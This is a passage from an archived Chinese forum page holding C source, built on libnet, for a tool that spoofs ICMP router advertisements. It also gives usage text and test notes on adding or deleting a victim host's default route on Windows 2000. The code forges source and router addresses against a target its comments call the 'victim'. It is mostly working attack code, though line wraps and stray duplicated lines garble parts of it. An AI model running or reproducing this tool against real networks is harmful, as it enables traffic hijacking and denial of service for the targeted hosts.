📄 535.htm
字号:
); <br>
} <br>
return( s ); <br>
} /* end of Libnet_open_raw_sock */ <br>
void Libnet_write_ip ( int sock, u_char * packet, int len ) <br>
{ <br>
int w; <br>
if ( ( w = libnet_write_ip( sock, packet, len ) ) < len ) <br>
{ <br>
libnet_error( LIBNET_ERR_WARNING, "libnet_write_ip only wrote %d byt <br>
es\n <br>
", w ); <br>
} <br>
return; <br>
} /* end of Libnet_write_ip */ <br>
void iraSend ( u_long srcIp, u_long dstIp, u_long routeIp, u_long iraNumber <br>
) <br>
{ <br>
u_long i; <br>
/* 构造IP头 */ <br>
libnet_build_ip( ipDataSize, /* IP数据区长度 */ <br>
IPTOS_LOWDELAY, /* IP tos */ <br>
( u_short )random(), /* IP ID */ <br>
0, /* frag stuff */ <br>
255, /* TTL */ <br>
IPPROTO_ICMP, /* 上层协议 */ <br>
srcIp, /* big-endian序 */ <br>
dstIp, /* 目标IP */ <br>
NULL, /* 无选项 */ <br>
0, /* 选项长度零 */ <br>
packet ); /* 指向IP头 */ <br>
// 这里必须意识到,计算ICMP重定向报文校验和应该发生在整个ICMP报文构造完毕 <br>
之 <br>
后 <br>
// 我们目的特殊,部分数据提前构造完毕了 <br>
/* 计算ICMP重定向报文校验和,IP校验和由内核亲自计算 */ <br>
Libnet_do_checksum( packet, IPPROTO_ICMP, ipDataSize ); <br>
for ( i = 0; i < iraNumber; i++ ) <br>
{ <br>
/* 发送ICMP路由通告报文 */ <br>
Libnet_write_ip( rawSocket, packet, packet_size ); <br>
} /* end of for */ <br>
return; <br>
} /* end of iraSend */ <br>
void usage ( char * arg ) <br>
{ <br>
fprintf( stderr, " Usage: %s [--si srcIp] [--di dstIp] [--routeIp routeI <br>
p] [ <br>
--num iraNumber]\n\t" <br>
"[--ttl ttl] [--level level]\n", arg ); <br>
exit( FAILURE ); <br>
} /* end of usage */ <br>
int main ( int argc, char * argv[] ) <br>
{ <br>
#define LONGOPTIONCHAR '-' <br>
/* 定义长选项 */ <br>
static struct option longOption[] = <br>
{ <br>
{ "si", 1, 0, LONGOPTIONCHAR }, /* 源IP */ <br>
{ "di", 1, 0, LONGOPTIONCHAR }, /* 攻击目标IP */ <br>
{ "routeIp", 1, 0, LONGOPTIONCHAR }, /* 伪造的路由IP */ <br>
{ "num", 1, 0, LONGOPTIONCHAR }, /* ICMP报文数目 */ <br>
{ "ttl", 1, 0, LONGOPTIONCHAR }, /* 生存时间 */ <br>
{ "level", 1, 0, LONGOPTIONCHAR }, /* 优先级 */ <br>
{ 0, 0, 0, 0 } <br>
}; <br>
}; <br>
int longOptionIndex = 0; /* 用于处理长选项 */ <br>
/* IP使用使用网络字节序指定 */ <br>
u_long srcIp = 0xffffffff; /* 伪造源IP,也是 <br>
路由 <br>
器 */ <br>
u_long dstIp = 0xffffffff; /* 牺牲者 <br>
*/ <br>
u_long routeIp = 0xffffffff; /* 伪造的路由IP <br>
*/ <br>
u_long iraNumber = DEFAULTIRANUMBER; /* ICMP路由通告报 <br>
文数 <br>
目 */ <br>
unsigned int randomSeed = ( unsigned int )time( NULL ); <br>
int c; <br>
u_char * ipData; <br>
u_long * tempUlong; <br>
u_short * tempUshort; <br>
u_short ttl = DEFAULTTTL; /* 生存时间 <br>
*/ <br>
u_long level = DEFAULTLEVEL; /* 优先级 <br>
*/ <br>
if ( argc == 1 ) <br>
{ <br>
usage( argv[0] ); <br>
} <br>
initstate( randomSeed, ( char * )randomState, 128 ); <br>
setstate( ( char * )randomState ); <br>
opterr = 0; /* don't want getopt() writing to stderr */ <br>
while ( ( c = getopt_long( argc, argv, "h", longOption, &longOptionIndex <br>
) <br>
) != EOF ) <br>
{ <br>
switch ( c ) <br>
{ <br>
case LONGOPTIONCHAR: /* 处理长选项 */ <br>
/* <br>
fprintf( stderr, "option %s", longOption[ longOptionIndex ].name <br>
); <br>
if ( optarg ) <br>
{ <br>
fprintf( stderr, " with arg %s", optarg ); <br>
} <br>
fprintf( stderr, "\n" ); <br>
*/ <br>
*/ <br>
if ( optarg ) <br>
{ <br>
switch ( longOptionIndex ) <br>
{ <br>
case 0: <br>
/* 返回值是big-endian序 */ <br>
srcIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE <br>
); <br>
if ( srcIp == -1 ) <br>
{ <br>
libnet_error( LIBNET_ERR_FATAL, "Bad srcIp: %s\n", o <br>
ptar <br>
g ); <br>
} <br>
break; <br>
case 1: <br>
/* 返回值是big-endian序 */ <br>
dstIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOLVE <br>
); <br>
if ( dstIp == -1 ) <br>
{ <br>
libnet_error( LIBNET_ERR_FATAL, "Bad dstIp: %s\n", o <br>
ptar <br>
g ); <br>
} <br>
break; <br>
case 2: <br>
/* 返回值是big-endian序 */ <br>
routeIp = libnet_name_resolve( optarg, LIBNET_DONT_RESOL <br>
VE ) <br>
; <br>
if ( routeIp == -1 ) <br>
{ <br>
libnet_error( LIBNET_ERR_FATAL, "Bad routeIp: %s\n", <br>
opt <br>
arg ); <br>
} <br>
break; <br>
case 3: /* 采用10进制 */ <br>
iraNumber = ( u_long )strtoul( optarg, NULL, 10 ); <br>
if ( iraNumber == 0 ) <br>
{ <br>
fprintf( stderr, "Check your iraNumber\n" ); <br>
exit( FAILURE ); <br>
} <br>
break; <br>
case 4: /* 采用10进制 */ <br>
ttl = ( u_short )strtoul( optarg, NULL, 10 ); <br>
break; <br>
case 5: /* 采用10进制 */ <br>
level = ( u_long )strtoul( optarg, NULL, 10 ); <br>
break; <br>
default: <br>
break; <br>
} /* end of switch */ <br>
} <br>
break; <br>
case 'h': <br>
case '?': <br>
usage( argv[0] ); <br>
} /* end of switch */ <br>
} /* end of while */ <br>
/* 如果未指定srcIp,随机化 */ <br>
if ( srcIp == -1 ) <br>
{ <br>
srcIp = ( u_long )random(); <br>
} <br>
if ( dstIp == 0xffffffff ) <br>
{ <br>
fprintf( stderr, "Check your dstIp\n" ); <br>
exit( FAILURE ); <br>
} <br>
/* routeIp不考虑随机化,尽量指定直接路由,但非强制性要求 */ <br>
if ( routeIp == 0xffffffff ) <br>
{ <br>
routeIp = ( u_long )random(); <br>
} <br>
ipDataSize = 16; <br>
packet_size += ipDataSize; <br>
fprintf( stderr, "[ Icmp route advertising ... ... ]\n" ); <br>
/* 分配内存并初始化成零 */ <br>
Libnet_init_packet( packet_size, &packet ); <br>
/* 在这里构造ICMP路由通告报文的部分数据 */ <br>
ipData = packet + LIBNET_IP_H; <br>
ipData[0] = 0x09; /* ICMP路由通告报文 */ <br>
ipData[1] = 0x00; /* 校验和留待后面调用函数计算 */ <br>
ipData[4] = 0x01; /* 项目个数 */ <br>
ipData[5] = 0x02; /* 项目大小,固定为2 */ <br>
tempUshort = ( u_short * )( ipData + 6 ); <br>
*tempUshort = htons( ttl ); /* 生存时间 */ <br>
tempUlong = ( u_long * )( ipData + 8 ); <br>
*tempUlong = routeIp; /* 路由IP */ <br>
tempUlong = ( u_long * )( ipData + 12 ); <br>
*tempUlong = htonl( level ); /* 优先级 */ <br>
/* 创建raw_socket */ <br>
rawSocket = Libnet_open_raw_sock( IPPROTO_RAW ); <br>
iraSend( srcIp, dstIp, routeIp, iraNumber ); <br>
/* 关闭raw_socket */ <br>
libnet_close_raw_sock( rawSocket ); <br>
/* 释放由libnet_init_packet()分配的内存 */ <br>
libnet_destroy_packet( &packet ); <br>
fprintf( stderr, "\n[ Icmp route advertised ]\n" ); <br>
return( SUCCESS ); <br>
} /* end of main */ <br>
/*----------------------------------------------------------------------*/ <br>
-------------------------------------------------------------------------- <br>
Usage: ./ia [--si srcIp] [--di dstIp] [--routeIp routeIp] [--num iraNumber] <br>
[--ttl ttl] [--level level] <br>
测试中验证了一些有趣的事实。当生存时间ttl设置成0的时候,实际意味着远程删除 <br>
前面通过ICMP路由通告报文增加上去的缺省路由。优先级level默认为0,在2K上远程 <br>
增加上来的缺省路由Metric为1000,当level设置成1000的时候,在2K上远程增加上 <br>
来的缺省路由Metric为1。对于2K,只有level等于1000时Metric才为1,level继续增 <br>
大,Metric非但不减小反而增大。注意,所谓缺省路由就是0.0.0.0/0.0.0.0路由, <br>
缺省路由在IP寻径中一般最后被使用,缺省路由可以多条并存。 <br>
<待续> <br>
-- <br>
也许有一天,他再从海上蓬蓬的雨点中升起, <br>
飞向西来,再形成一道江流,再冲倒两旁的石壁, <br>
再来寻夹岸的桃花。然而,我不敢说来生,也不敢信来生...... <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="536.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -